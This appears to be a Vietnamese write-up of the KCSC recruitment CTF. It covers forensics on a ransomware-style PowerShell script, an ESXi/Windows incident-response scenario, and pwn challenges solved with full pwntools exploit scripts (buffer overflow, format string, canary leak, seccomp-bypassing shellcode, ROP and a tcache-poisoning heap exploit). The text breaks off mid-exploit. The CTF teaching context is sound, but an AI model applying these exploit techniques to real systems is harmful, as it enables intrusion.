Recycle Bin.lnk.bat có thể là một shortcut giả mạo được thiết kế để đánh lừa người dùng nhấp vào, sau đó thực thi đoạn mã cụ thể thì nó thực thi script tmp6e5d08.ps1 trong thư mục temp.
Tham khảo: https://attack.mitre.org/techniques/T1547/001/
Q2. What is the MD5 hash of the second stage file executed by the malware?
FCDBBEA5F3DCD22E1E0A5627DAEC0A3A

Xuất file ra và tính hash thôi
Q3. Decrypt any encrypted file to complete this question.
G00d_J0b_Br0!!
Chức năng của script:
Mã hóa tập tin: Script sử dụng thuật toán AES để mã hóa nội dung của các tập tin trong các thư mục mục tiêu (Documents, Downloads, Desktop, Pictures).
Các tập tin đã mã hóa được lưu với phần mở rộng .KCSC, và bản gốc của chúng sẽ bị xóa.
Key: Được tính toán từ tên máy tính ($env:COMPUTERNAME) thông qua thuật toán SHA256. Có thể tìm trong Windows Registry

IV: Được tính toán từ tên người dùng ($env:USERNAME) bằng thuật toán MD5.
Ta có USERNAME là yud-binary trong folder USER luôn rồi
Chú ý đề bài yêu cầu decrypt hết mấy file bị mã hóa, ở đây nếu decrypt hết ta sẽ tìm được hình ảnh mã QR nằm trong folder Pictures.

Flag
KCSC{T1547.001_FCDBBEA5F3DCD22E1E0A5627DAEC0A3A_G00d_J0b_Br0!!}
DFIR 01
Sự cố được giả định tại một Công ty có tên DFCorp có trụ sở tại Việt Nam. Công ty sử dụng các máy chủ, được thiết kế và lắp đặt, kết nối như sau:
Danh sách các dải mạng: DMZ: 192.168.6.0/24 USERLAN: 192.168.17.0/24
Danh sách các thiết bị tham gia hệ thống mạng:
Máy chủ Backup (DMZ): 192.168.6.20 cài đặt Mật khẩu truy cập: Administrator / DFC0rp@sysad
Máy chủ ảo hóa (DMZ): 192.168.6.21 cài đặt VMWare ESXi standalone Mật khẩu truy cập: root / DFC0rp@ESXi
Thiết bị Firewall: 192.168.6.1 sử dụng thiết bị Fortigate 201F Máy chủ Database (DMZ): 192.168.6.24 cài đặt Ubuntu và OracleDB 23ai
Máy chủ Queue (DMZ): 192.168.6.23 cài đặt CentOS và RabbitMQ Các nhân viên tham gia với dải mạng USERLAN
Sự cố xảy ra trên hạ tầng máy chủ chính của DFCorp, chứa nhiều dữ liệu quan trọng của người dùng cũng như các bí mật kinh doanh. Hiện trạng sự cố:
‾ Các máy chủ dịch vụ (DB, Queue) không thể truy cập.
‾ Đội ngũ quản trị đã thử đăng nhập máy chủ ESXi để bật lại VM nhưng không thành công do sai mật khẩu
‾ Khi đăng nhập vào máy chủ backup, hệ thống luôn luôn sử dụng 100% CPU và có dấu hiệu của tấn công mã hóa dữ liệu
Đội ngũ quản trị đã thực hiện cách ly máy chủ ESXi và máy chủ backup sang dải mạng riêng, với vai trò là đội ứng cứu sự cố, hãy hỗ trợ công ty DFCorp điều tra nguyên nhân tấn công và các hành vi kẻ tấn công đã thực hiện được.
Lưu ý: Cách tắt hyper-V để có thể chạy vmesxi:
bcdedit /set hypervisorlaunchtype off
bật hyper-V: bcdedit /set hypervisorlaunchtype auto
Sau khi tắt hoặc bật hyper-V hãy khởi động lại máy chủ
Nếu máy chủ windows gây ra load nhiều cpu hãy set về hostonly hoặc ngắt mạng máy chủ
Nhập ok vào ô flag để mở khóa thử thách tiếp theo sau khi đã đọc xong mô tả, tương tự với các challange sẽ được mở khi hoàn thành challange yêu cầu Có tổng cộng 10 bài
Challenge cung cấp cho ta 1 những file máy ảo sau đây:

Nhấp đúp chuột vào file .ovf VMware sẽ tự động cài đặt (Tùy vào mỗi máy mà có thể sẽ gặp những lỗi riêng).
Đây là kết quả khi khởi động thành công:


DFIR 02

Challenge có nói rằng Đội ngũ quản trị đã thử đăng nhập máy chủ ESXi để bật lại VM nhưng không thành công do sai mật khẩu
Theo 2 bài viết được gợi ý từ hint thì ta cần reset mật khẩu lại để đăng nhập, bản chất là làm sao để xóa đi hash mật khẩu thì ta sẽ không còn mật khẩu nữa và có thể đăng nhập.
Làm theo 2 bài viết từ hint:


Sau khi reset mật khẩu thành công ta có thể quản lý máy chủ thông qua địa chỉ http://192.168.49.128 (qua DHCP).

Để trả lời câu hỏi thì ta xem folder dfcorp-queue:

Flag
KCSC{dfcorp-queue}
DFIR 03

Với câu hỏi này thì em kiểm tra mấy cái log
Tham khảo bài viết này:
https://www.h4tt0r1.cz/post/digital-forensics-and-incident-response-on-vmware-hypervisors

Em dùng các từ khóa phổ biến liên quan đến User-Agent sau đó lọc ra trong log hostd.log
Lọc xong thì em thử submit ai ngờ nó đúng ạ chứ thú thật em cũng không biết sao nó đúng :(((
Flag
KCSC{Mozilla/5.0 (Windows NT 6.3; WOW64; rv:102.0) Gecko/20100101 Goanna/6.7 Firefox/102.0 PaleMoon/33.3.1}
DFIR 04

Câu này thì vẫn là trong hostd.log, em vẫn lọc các từ khóa liên quan đến hành vi rà quét của kẻ tấn công thì không khó để phát hiện được.

Flag
KCSC{2024-08-16}
DFIR 05

Câu này thì xem file Security.evtx lọc các event id 4625 vì đó là sự kiện ghi lại lần đăng nhập thất bại.
Ta dễ dàng thấy trong ngày 16-08-2024 (utc) có rất nhiều lần đăng nhập thất bại, lưu ý là tính trong ngày đó thôi.

Flag
KCSC{10223}
III. Pwn
Cre: kur0x1412
AAA
Phân tích

int __fastcall main(int argc, const char **argv, const char **envp)
{
setup(argc, argv, envp);
printf("Input: ");
gets(buf);
printf("Your input: %s\n", buf);
if ( is_admin )
system("cat /flag");
return 0;
}
Chỉ có duy nhất hàm main, nhập vào bằng
gets()=>Buffer Overflow
bufở trướcis_admin, nên chỉ cần ghi sao cho tràn được quais_adminlà có flag
KCSC{AAAAAAAAAAAAAAAaaaaaaaaaaaaaaaaa____!!!!!}
Full script
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./main', checksec=False)
if args.REMOTE:
conn = 'nc 36.50.177.41 50011'.split()
p = remote(conn[1], int(conn[2]))
else:
p = process(exe.path)
p.sendline(b'A'*0x101)
p.interactive()
welcome
Phân tích

int __fastcall main(int argc, const char **argv, const char **envp)
{
char s[64]; // [rsp+0h] [rbp-40h] BYREF
setup(argc, argv, envp);
puts("Welcome to KCSC Recruitment !");
printf("What's your name?\n> ");
fgets(s, 64, stdin);
printf("Hi ");
printf(s);
if ( key == 0x1337 )
win();
return 0;
}
- Lỗi
Format Stringở dòng 10
int win()
{
return system("/bin/sh");
}
Nếu
key = 0x1337thì sẽ có shell
Địa chỉ của key là
0x40408cGiờ sẽ ghi địa chỉ của
keyvàobufrồi dùng%n(cụ thể là%hn- ghi 2 byte) để viết0x1337vào địa chỉ củakey
KCSC{A_little_gift_for_pwner_hehehehehehehehe}
Full script
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./welcome', checksec=False)
if args.REMOTE:
conn = 'nc 36.50.177.41 50010'.split()
p = remote(conn[1], int(conn[2]))
else:
p = process(exe.path)
key = 0x40408c
payload = f'%{0x1337}c%9$hn'.encode()
payload = payload.ljust(24,b'\0')
payload += p64(key)
p.sendlineafter(b'name?\n> ', payload)
p.interactive()
darktunnel
Phân tích

int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
run();
}
void __cdecl __noreturn run()
{
int v0; // eax
unsigned __int64 id[3]; // [rsp+0h] [rbp-20h] BYREF
unsigned __int64 v2; // [rsp+18h] [rbp-8h]
v2 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(_bss_start, 0LL);
memset(id, 0, 3uLL);
while ( 1 )
{
while ( 1 )
{
v0 = menu();
if ( v0 == 2 )
break;
if ( v0 <= 2 )
{
if ( !v0 )
exit(0);
if ( v0 == 1 )
input_id(id);
}
}
if ( !id[0] || !id[1] || !id[2] )
{
printf("id error !");
exit(0);
}
printf("communication id: ");
print_id(id);
printf("communication buffer input start -> ");
send_buff(id);
}
}
int __cdecl menu()
{
int choice; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("1. id setup");
puts("2. send buffer");
puts("0. exit");
printf("> ");
__isoc99_scanf("%d", &choice);
return choice;
}
- Lựa chọn
1
void __cdecl input_id(unsigned __int64 *id)
{
int i; // [rsp+1Ch] [rbp-4h]
memset(id, 0, 3uLL);
for ( i = 0; i <= 3; ++i )
{
printf("id %d: ", i);
__isoc99_scanf("%lu", &id[i]);
}
}
Để ý ở nãy hàm
runkhai báo mảng id với 3 phần tử nhưng vô đây lại nhập 4 => khả năng có lỗi
Khi dùng gdb để xem xét thì thấy id sẽ nhập vào 4 vị trí

Cái thứ 4 kia chính là canary
Xem lại hàm
runthì nếu chọn2thì sẽ in 4 id đã nhập vào, nếu có id nào = 0 thì thoát chương trình
void __cdecl print_id(unsigned __int64 *id)
{
int i; // [rsp+1Ch] [rbp-4h]
printf("[ ");
for ( i = 0; i <= 3; ++i )
printf("%lu ", id[i]);
puts(" ]");
}
Hàm
scanf("%lu", &id[i]), nếu nhập kí tự+hoặc-thì hàmscanf()sẽ coi như không có giá trị nào được nhập vào, do đóid[3] = canaryđược giữ nguyên -> khi in id sẽ in racanarySau khi in id thì sẽ nhập vào buff
void __cdecl send_buff(unsigned __int64 *id)
{
int len; // [rsp+18h] [rbp-3F8h]
int fd; // [rsp+1Ch] [rbp-3F4h]
char buff[1000]; // [rsp+20h] [rbp-3F0h] BYREF
unsigned __int64 v4; // [rsp+408h] [rbp-8h]
v4 = __readfsqword(0x28u);
memset(buff, 0, sizeof(buff));
__isoc99_scanf("%s", buff);
len = strlen(buff);
if ( len > 1 )
{
fd = open("/tmp/data.rc", 577, 644LL);
write(fd, buff, len);
}
}
scanf("%s", ...)chỉ dừng nhập khi gặp các byte0x9,0x20,0xa,0xb,0xc,0xd=> có thểStack Buffer Overflow, mà ta đã cócanarynên có thể điều khiển được saved ripSau khi nhập vào sẽ kiểm tra độ dài của đoạn nhập vào bằng
strlen(), nếu dài hơn 1 thì sẽ mở file/tmp/data.rcvà ghi nội dung file đó vào buff, điều này có thể dẫn đến việc giá trị nhập vào trước đó sẽ bị thay đổiTuy nhiên hàm
strlen()chỉ kiểm tra đến byte0x00, vậy nên nếu ở ngay đầu buff ta nhập vào0x00thì len = 0

- Xem trong ida thì thấy có một hàm ẩn cho shell
void __cdecl admin()
{
puts("For admin only, contact us if this function suddenly runs: ");
system("/bin/sh");
}
-> Mục tiêu là ghi đè saved rip của hàm send_buff đè sau đó nhảy vào admin chứ không quay lại hàm run. Vì PIE tắt nên có thể lấy được địa chỉ của hàm admin = 0x4014d3

- Trong kiến trúc 64-bit thì khi một hàm được gọi thì giá trị
rspphải luôn được căn chỉnh sao cho chia hết cho 16 (lsb của rsp = 0 chứ không phải 8) vậy nên khi ghi đè saved rip thì sẽ ghi giá trị0x4014d8, bỏ quapush rbpđể không bị dính lỗi
KCSC{c279cb580a741137b9a30096ca3b9706}
Full script
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./main', checksec=False)
info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
slan = lambda msg, num: sla(msg, str(num).encode())
san = lambda msg, num: sa(msg, str(num).encode())
sln = lambda num: sl(str(num).encode())
sn = lambda num: s(str(num).encode())
r = lambda nbytes: p.recv(nbytes)
ru = lambda data: p.recvuntil(data)
rl = lambda : p.recvline()
def GDB():
if not args.REMOTE:
gdb.attach(p, gdbscript=f'''
# b*0x40135b
# b*0x4015db
b*0x4013d4
c
''')
if args.REMOTE:
conn = 'nc 36.50.177.41 50002'.split()
p = remote(conn[1], int(conn[2]))
else:
p = process(exe.path)
GDB()
admin = 0x4014d3
slan(b'> ', 1)
sla(b'id 0: ', b'1')
sla(b'id 1: ', b'1')
sla(b'id 2: ', b'1')
sla(b'id 3: ', b'+')
slan(b'> ', 2)
ru(b'communication id: [ 1 1 1 ')
canary = int(ru(b' ]')[:-3])
info('[*] canary: ' + hex(canary))
sleep(1)
payload = b'\0'*0x3e8 + p64(canary) + b'\0'*8 + p64(admin+5)
sl(payload)
p.interactive()
ccrash
Phân tích

int __fastcall main(int argc, const char **argv, const char **envp)
{
char result[1024]; // [rsp+0h] [rbp-400h] BYREF
setbuf(stdin, 0LL);
setbuf(_bss_start, 0LL);
setup();
puts("Test::Test: Assertion 'false' failed!");
puts("Callstack:");
printf("dbg::handle_assert(214) in mylib.dll %p: Test::Test(9) in mylib.dll\n", result);
printf("myfunc(10) in TestStackTrace %p: main(23) in TestStackTrace\n", trace);
puts("invoke_main(65) in TestStackTrace");
puts("_scrt_common_main_seh(253) in TestStackTrace ");
puts("OK");
read(0, result, 0x410uLL);
return 0;
}
Có thể thấy ngay được ở dòng 10 bài đã cho địa chỉ của mảng
result-> có địa chỉ stackỞ dòng 10, có
Stack Buffer Overflowở hàm read khi có thể vừa đủ ghi đè saved rbp và saved ripNgó qua hàm setup()
void __cdecl setup()
{
scmp_filter_ctx ctx; // [rsp+0h] [rbp-20h]
size_t page_size; // [rsp+18h] [rbp-8h]
__int64 savedregs; // [rsp+20h] [rbp+0h] BYREF
page_size = sysconf(30);
mprotect((void *)(-(__int64)page_size & (unsigned __int64)&savedregs), page_size, 7);
ctx = (scmp_filter_ctx)seccomp_init(2147418112LL);
if ( ctx )
{
if ( (int)seccomp_rule_add(ctx, 327681LL, 59LL, 0LL) < 0 || (int)seccomp_rule_add(ctx, 327681LL, 322LL, 0LL) < 0 )
{
perror("seccomp_rule_add (execve) failed");
seccomp_release(ctx);
}
else if ( (int)seccomp_rule_add(ctx, 327681LL, 2LL, 0LL) >= 0 )
{
if ( (int)seccomp_load(ctx) < 0 )
{
perror("seccomp_load failed");
seccomp_release(ctx);
}
}
else
{
perror("seccomp_rule_add (open) failed");
seccomp_release(ctx);
}
}
else
{
perror("seccomp_init failed");
}
}
Đầu tiên dùng
sysconf(30)để lấy giá trịpage_size(0x1000)Sau đó lấy địa chỉ của
savedregsđể&với-page_size=> biến 3 byte thấp nhất củasavedregsthành 000 sau đó thay đổi quyền của vùng nhớ vừa tính được ở bên trên thành Read-Write-Excute
Mà ở hàm main đã cho địa chỉ stack => nghĩ đến ngay chạy shellcode trên stack
Đoạn code tiếp theo là cơ chế SECCOMP, nó dùng để cấm các syscall không cần thiết để giảm bớt được rủi ro chương trình bị khai thác

Vậy là chương trình không thể thực thi các syscall
open,execvehayexecveatTuy nhiên chỉ như vậy là chưa đủ, vẫn còn rất nhiều cách khác để có thể lấy được flag, ở đây mình dùng syscall openat và sendfile
openat(-100, "flag.txt", 0)-> mở fileflag.txt-100(AT_FDCWD) là để tìm kiếm file trong cùng thư mục với chương trình (Thường thì chall và flag sẽ cùng thư mục)0để biểu thị cho việc mở file để đọcsau khi mở file thành công sẽ trả về một file descriptor trong
rax
sendfile(1, fd, 0, 100)-> đọc nội dung từflag.txtrastdout1là file descriptor của stdoutfdlà file descriptor nhận được sau khi mở file thành công0là offset, đọc từ đầu file100là độ dài nội dung muốn đọc
Khai thác
- Để cho nhanh thì mình dùng pwntools để hỗ trợ việc viết shellcode
shellcode = shellcraft.openat(-100, 'flag.txt', 0)
shellcode += shellcraft.sendfile(1, 'rax', 0, 100)
Việc đầu tiên cần làm là phải ghi được shellcode vào vùng stack có thể thực thi

Dùng gdb quan sát hàm
mainthì thấy rằng ở đoạn này sẽ dùng hàm read để ghi vào địa chỉrbp-0x400-> đầu tiên sẽ ghi đè:saved rbp=> địa chỉ stack thực thi được + 0x400saved rip=>0x4014a6
Rồi sau đó ghi shellcode vào và nhảy đến shellcode là có flag
KCSC{_f3_deba3756312c79f925913b50cdd9b9}
Full script
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./main', checksec=False)
info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
slan = lambda msg, num: sla(msg, str(num).encode())
san = lambda msg, num: sa(msg, str(num).encode())
sln = lambda num: sl(str(num).encode())
sn = lambda num: s(str(num).encode())
r = lambda nbytes: p.recv(nbytes)
ru = lambda data: p.recvuntil(data)
rl = lambda : p.recvline()
def GDB():
if not args.REMOTE:
gdb.attach(p, gdbscript=f'''
b*0x4014c5
c
''')
if args.REMOTE:
conn = 'nc 36.50.177.41 50001'.split()
p = remote(conn[1], int(conn[2]))
else:
p = process(exe.path)
GDB()
ru(b'mylib.dll ')
stack_leak = int(r(14), 16)
rwx_addr = stack_leak & ~0xfff
info('[*] stack leak: ' + hex(stack_leak))
info('[*] executable address: ' + hex(rwx_addr))
read_in_main = 0x4014a6
payload = b'A'*1024 + p64(rwx_addr+0x400) + p64(read_in_main)
sa(b'OK\n', payload)
shellcode = asm(shellcraft.openat(-100, 'flag.txt', 0))
shellcode += asm(shellcraft.sendfile(1, 'rax', 0, 100))
shellcode = shellcode.ljust(1032, b'\x90') + p64(rwx_addr)
sleep(1)
s(shellcode)
p.interactive()
Chodan
Phân tích

#include <stdio.h>
#include <stdint.h>
#include <string.h>
#define __USE_MISC
#include <sys/mman.h>
#include <fcntl.h>
#define CODE_SIZE 0x100
#define NAME_SIZE 0x10
void (*code)();
void setup()
{
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
code = mmap(NULL, CODE_SIZE, PROT_READ | PROT_READ | PROT_EXEC | PROT_WRITE, \
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if(!code)
{
perror("Init code failed");
exit(-1);
}
}
int main()
{
setup();
printf("Your shellcode: ");
read(0, code, CODE_SIZE);
close(0);
uint8_t *cur = (uint8_t*)code + 8;
while(cur + 8 < code + CODE_SIZE)
{
memset(cur, 0, 8);
cur += 16;
}
asm volatile(
".intel_syntax noprefix;"
"mov rax, 0xdededede;"
"mov rdi, 0xcafebabe;"
"mov rdx, 0xdcdcdcdc;"
"mov rbx, 0xaaaaaaaaaa;"
"mov rcx, 0xcccc;"
"mov rsi, 0xccacaaaaac;"
".att_syntax prefix;"
);
code();
return 0;
}
Hàm
setupcó tạo vùng nhớ mới và cấp cho quyền Read-Write-ExcuteỞ hàm
mainsẽ cho ta nhâọ vào shellcodeclose(0)là đóng stdin -> không thể nhập vào lần nữa -> shell code sẽ làopenvàsendfile(khôngexecve("/bin/sh\0", 0, 0)vì vẫn cần phải nhậpcat /flag)Tuy nhiên thì code dưới sẽ làm shellcode ta nhập vào để lại 8 byte, xóa 8 byte, để 8 byte, ... liên tiếp như vậy rồi thay đổi giá trị một số thanh ghi và thực thi shellcode => ta cần viết shellcode sao cho đoạn cần thực thi không bị xóa, chia nhiều đoạn nhỏ và sẽ nối với nhau bằng lệnh
jmp/jne/je...
Trang web hỗ trợ tính toán độ dài shellcode: https://defuse.ca/online-x86-assembler.htm#disassembly
KCSC{YeJEonChEOReOm_YEOpEsE0_BaP_MEOgEOdO_Uy30nhI_NuNI_5@ljj@k_m@JuCHyEOdo}
Shellcode
# /flag = 0x67616c662f
shellcode = asm('''
mov esi, 0x67
''', arch='amd64') + b'\x74\x09' + b'\x90'*9
shellcode += asm('''
shl rsi, 32
''', arch='amd64') + b'\x75\x0a' + b'\x90'*10
shellcode += asm('''
mov edi, 0x616c662f
''', arch='amd64') + b'\x75\x09' + b'\x90'*9
shellcode += asm('''
xor rsi, rdi
push rsi
push rsp
pop rdi
''', arch='amd64') + b'\x75\x08' + b'\x90'*8
shellcode += asm('''
xor rsi, rsi
push rsi
pop rdx
''', arch='amd64') + b'\x74\x09' + b'\x90'*9
shellcode += asm('''
mov al, 0x2
syscall
push rax
pop rsi
''', arch='amd64') + b'\x74\x08' + b'\x90'*8
shellcode += asm('''
push rax
pop rdi
inc rdi
''', arch='amd64') + b'\x75\x09' + b'\x90'*9
shellcode += asm('''
mov al, 0x28
mov r10b, 0xff
syscall
''', arch='amd64') + b'\x75\x08' + b'\x90'*8
mình viết các lệnh jump (0x75/0x74) bằng pwntools thì bị lỗi nên viết trực tiếp các byte luôn
babyROP
Phân tích

int __fastcall main(int argc, const char **argv, const char **envp)
{
char s[64]; // [rsp+0h] [rbp-40h] BYREF
setup(argc, argv, envp);
puts("Welcome to KCSC Recruitment !!!");
printf("Data: ");
fgets(s, 4919, stdin);
if ( strlen(s) > 0x40 )
{
puts("Buffer overflow ??? No way.");
exit(0);
}
puts("Thank for playing :)");
return 0;
}
Ở đây có lỗi
Stack Buffer Overflowở hàmfgetsVậy chỉ cần ROP để leak libc rồi thực thi
system("/bin/sh")Giá trị các thanh ghi khi
retTuy nhiên thì khi mình tìm gadget thì không cài nào dùng được :((
Sau một hồi bế tắc thì mình quyết định ngồi gdb xem từng dòng code thì phát hiện ra một điều thú vị
Sau khi hàm
printf()được gọi thì sẽ để lại một con trỏ trỏ đến địa chỉ libc trongrdi-> dùngputsđể leak libc -> quay lại main lần nữa để ROP lấy shell
KCSC{GOToverwrite_is_Amazing_eab60643273379b005464b6ec048a6d4}
Vậy còn một cách nữa là GOToverwrite
Full script
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./chall_patched', checksec=False)
libc = ELF('./libc.so.6', checksec=False)
ld = ELF('./ld-linux-x86-64.so.2', checksec=False)
info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
slan = lambda msg, num: sla(msg, str(num).encode())
san = lambda msg, num: sa(msg, str(num).encode())
sln = lambda num: sl(str(num).encode())
sn = lambda num: s(str(num).encode())
r = lambda nbytes: p.recv(nbytes)
ru = lambda data: p.recvuntil(data)
rl = lambda : p.recvline()
def GDB():
if not args.REMOTE:
gdb.attach(p, gdbscript=f'''
b*0x4012cb
c
''')
if args.REMOTE:
conn = 'nc 36.50.177.41 50003'.split()
p = remote(conn[1], int(conn[2]))
else:
p = process(exe.path)
GDB()
ret = 0x40101a
# ret để không bị dính lỗi căn chỉnh stack
payload = b'\0'*0x48 + p64(ret) + p64(exe.plt.printf)
payload += p64(exe.plt.puts) + p64(exe.sym.main)
sla(b'Data: ', payload)
ru(b'Thank for playing :)\n')
libc_leak = u64(r(6) + b'\0\0')
libc.address = libc_leak - 0x62050
info('[*] libc leak: ' + hex(libc_leak))
info('[*] libc base: ' + hex(libc.address))
pop_rdi = libc.address + 0x2a3e5
payload = b'\0'*0x48 + p64(ret) + p64(pop_rdi) + p64(next(libc.search(b'/bin/sh\0'))) + p64(libc.sym.system)
sla(b'Data: ', payload)
p.interactive()
LapTrinhCanBan
Phân tích

#include<stdio.h>
#include<stdlib.h>
#include<string.h>
void setup() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
}
struct sinhVien {
char *name;
unsigned int age;
float score;
struct sinhVien *next;
};
typedef struct sinhVien sinhVien;
int my_read(char buf[],unsigned int size){
int len ,i ;
len = read(0,buf,size) ;
for(i =0 ;i<len;i++){
if(buf[i]=='\n'){
buf[i] = NULL ;
}
}
return len ;
}
void menu() {
puts("1. Add student");
puts("2. Print student");
puts("3. Delete student");
puts("4. Exit");
printf("> ");
}
sinhVien *makeSV() {
sinhVien *newSV = (sinhVien*)malloc(sizeof(sinhVien));
unsigned int size ;
printf("Size name: ");
scanf("%u",&size) ;
newSV->name = malloc(size);
printf("Name: ");
my_read(newSV->name,0x1337);
printf("Age: ");
scanf("%u", &newSV->age);
printf("Score: ");
scanf("%f", &newSV->score);
getchar();
newSV->next = NULL;
return newSV;
}
void add(sinhVien** top) {
sinhVien* newnode = makeSV();
if (*top == NULL) {
*top = newnode;
} else {
sinhVien* tmp = *top;
while (tmp->next != NULL) {
tmp = tmp->next;
}
tmp->next = newnode;
}
}
void show(sinhVien* top) {
unsigned int idx = 0;
puts("$$$$$ KCSC SCORE $$$$$");
while (top != NULL) {
printf("ID: %d\nNAME: %s\nAGE: %d\nSCORE: %.2f\n\n", idx, top->name, top->age, top->score);
top = top->next;
idx++;
}
puts("$$$$$$$$$$$$$$$$$$$$$$");
}
void delete(sinhVien **head, unsigned int idx) {
if (*head == NULL) {
printf("List is empty. Cannot delete.\n");
return;
}
sinhVien *temp = *head;
if (idx == 0) {
*head = temp->next;
free(temp->name);
free(temp);
printf("Successfull.\n");
return;
}
sinhVien *prev = NULL;
for (unsigned int i = 0; i < idx; i++) {
if (temp == NULL) {
printf("Invalid index.\n");
return;
}
prev = temp;
temp = temp->next;
}
if (temp == NULL) {
printf("Invalid index.\n");
return;
}
prev->next = temp->next;
free(temp->name);
free(temp);
printf("Successfull.\n");
}
int main() {
setup();
puts("Welcome to KCSC Score !!!");
sinhVien *head = NULL;
unsigned int choice;
while (1) {
menu();
scanf("%u", &choice);
getchar();
switch (choice) {
case 1:
add(&head);
break;
case 2:
show(head);
break;
case 3:
printf("Index: ");
scanf("%u", &choice);
getchar();
delete(&head,choice);
break;
case 4:
exit(0);
default:
puts("Invalid choice.");
break;
}
}
}
- Có lỗi
Heap Buffer Overflowở dòng 41. Trước đó mình nhập size cho name để cấp phát một vùng nhớ nhưng lại luôn nhập vào0x1337byte
Leak
- đĐầu tiên mình sẽ tạo 2 sinhvien như sau
add(0x10, b'\x11'*8, 1, 1)
add(0x10, b'\x22'*8, 1, 1)
#sv0
0x1780b290: 0x0 0x21
0x1780b2a0: 0x1780b2c0 0x3f80000000000001
0x1780b2b0: 0x0 0x21
0x1780b2c0: 0x1111111111111111 0x0
#sv1
0x1780b2c0: 0x0 0x21
0x1780b2e0: 0x1780b300 0x3f80000000000001
0x1780b2f0: 0x0 0x21
0x1780b300: 0x2222222222222222 0x0
- Sau đó xóa sv1 đi
#sv0
0x1780b290: 0x0 0x21
0x1780b2a0: 0x1780b2c0 0x3f80000000000001
0x1780b2b0: 0x0 0x21
0x1780b2c0: 0x1111111111111111 0x0
0x1780b2d0: 0x0 0x21
0x1780b2e0: 0x1781cb0b 0xbc70b1f1aac74486
0x1780b2f0: 0x0 0x21
0x1780b300: 0x1780b 0xbc70b1f1aac74486
Tại địa chỉ
0x1780b2e0là địa chỉ của heap nhưng đã bị encrypt do cơ chế bảo vệ xor fd khi free vào tcache (do chall ở bản glibc 2.35)Tuy nhiên vẫn có cách giải mã, có thể đọc thêm trên how2heap
Ở hàm
showthì dùngprintf("%s", ...)(in đến khi gặp NULL) để in ra tên sinh viên, mà đọc vào name thì dùng hàmread(không thêm NULL vào cuối chuỗi) nên ở đây mình sẽ xóa sv0 đi vào tạo lại rồi thêm name sao cho nối ngay đến địa chỉ0x1780b2e0để leak heap
delete(0)
add(0x10, b'\x33'*0x20, 1, 1)
show()
ru(b'\x33'*0x20)
heap_base = decrypt(u64(r(4) + b'\0\0\0\0')) & ~0xfff
info('[*] heap base: ' + hex(heap_base))
#sv0
0x1780b290: 0x0 0x21
0x1780b2a0: 0x1780b2c0 0x3f80000000000001
0x1780b2b0: 0x0 0x21
0x1780b2c0: 0x3333333333333333 0x3333333333333333
0x1780b2d0: 0x3333333333333333 0x3333333333333333
0x1780b2e0: 0x1781cb0b 0xbc70b1f1aac74486
0x1780b2f0: 0x0 0x21
0x1780b300: 0x1780b 0xbc70b1f1aac74486
- Sau đó sửa lại về ban đầu và tạo lại sv1
delete(0)
add(0x10, b'\x33'*0x18 + p64(0x21), 1, 1)
add(0x10, b'\x22'*8, 1, 1)
Tiếp đến mình sẽ tạo một chunk để free vào
unsorted binđể leak libcCần phải tạo một chunk ngay sau để chunk lớn khi free không gộp vào topchunk. Mình sẽ free luôn chunk này đi để tăng
counttrongtcache_per_threadđể lát dùng malloc địa chỉ tùy ý
add(0x500, b'\x44'*8, 1, 1)
add(0x30, b'\x55'*8, 1, 1)
delete(3)
delete(2)
#sv2 (đã free)
0x1780b310: 0x0 0x21
0x1780b320: 0x1781c05b 0xbc70b1f1aac74486
0x1780b330: 0x0 0x511
0x1780b340: 0x7fae55c1ace0 <main_arena+96> 0x7fae55c1ace0 <main_arena+96>
...
- Tiếp đến mình dùng sv0 overflow để sửa con trỏ name của sv1 để cho nó trỏ đến
0x1780b340-> leak libc
delete(0)
add(0x10, b'\x33'*0x18+p64(0x21)+b'\x40', 1, 1)
show()
ru(b'ID: 0\nNAME: ')
libc_leak = u64(r(6) + b'\0\0')
libc.address = libc_leak - 0x21ace0
info('[*] libc base: ' + hex(libc.address))
- Lưu ý sau đoạn này sv1 là sv0 còn sv0 là sv1
#sv1
0x1780b290: 0x0 0x21
0x1780b2a0: 0x1780b2c0 0x3f80000000000001
0x1780b2b0: 0x0 0x21
0x1780b2c0: 0x3333333333333333 0x3333333333333333
#sv0
0x1780b2d0: 0x3333333333333333 0x21
0x1780b2e0: 0x1780b340 0x3f80000000000001
0x1780b2f0: 0x1780b2a0 0x21
0x1780b300: 0x2222222222222222 0x0
0x1780b310: 0x0 0x21
0x1780b320: 0x1781c05b 0xbc70b1f1aac74486
0x1780b330: 0x0 0x511
0x1780b340: 0x7fae55c1ace0 <main_arena+96> 0x7fae55c1ace0 <main_arena+96>
...
- Sau khi đã có libc thì lặp lại quy trình trên 1 lần nữa, tuy nhiên lần nảy sửa con trỏ name của sv0 thành
__environđể leak stack
delete(1)
add(0x10, b'\x33'*0x18+p64(0x21)+p64(libc.sym['__environ']), 1, 1)
show()
ru(b'ID: 0\nNAME: ')
stack_leak = u64(r(6) + b'\0\0')
info('[*] stack leak: ' + hex(stack_leak))
tcache poisoning
Mục tiêu cuối cùng của mình là thay đổi saved rip của hàm
my_readđểsystem("/bin/sh")Dùng kĩ thuật Tcache Poisoning
Tính địa chỉ của saved rbp của hàm
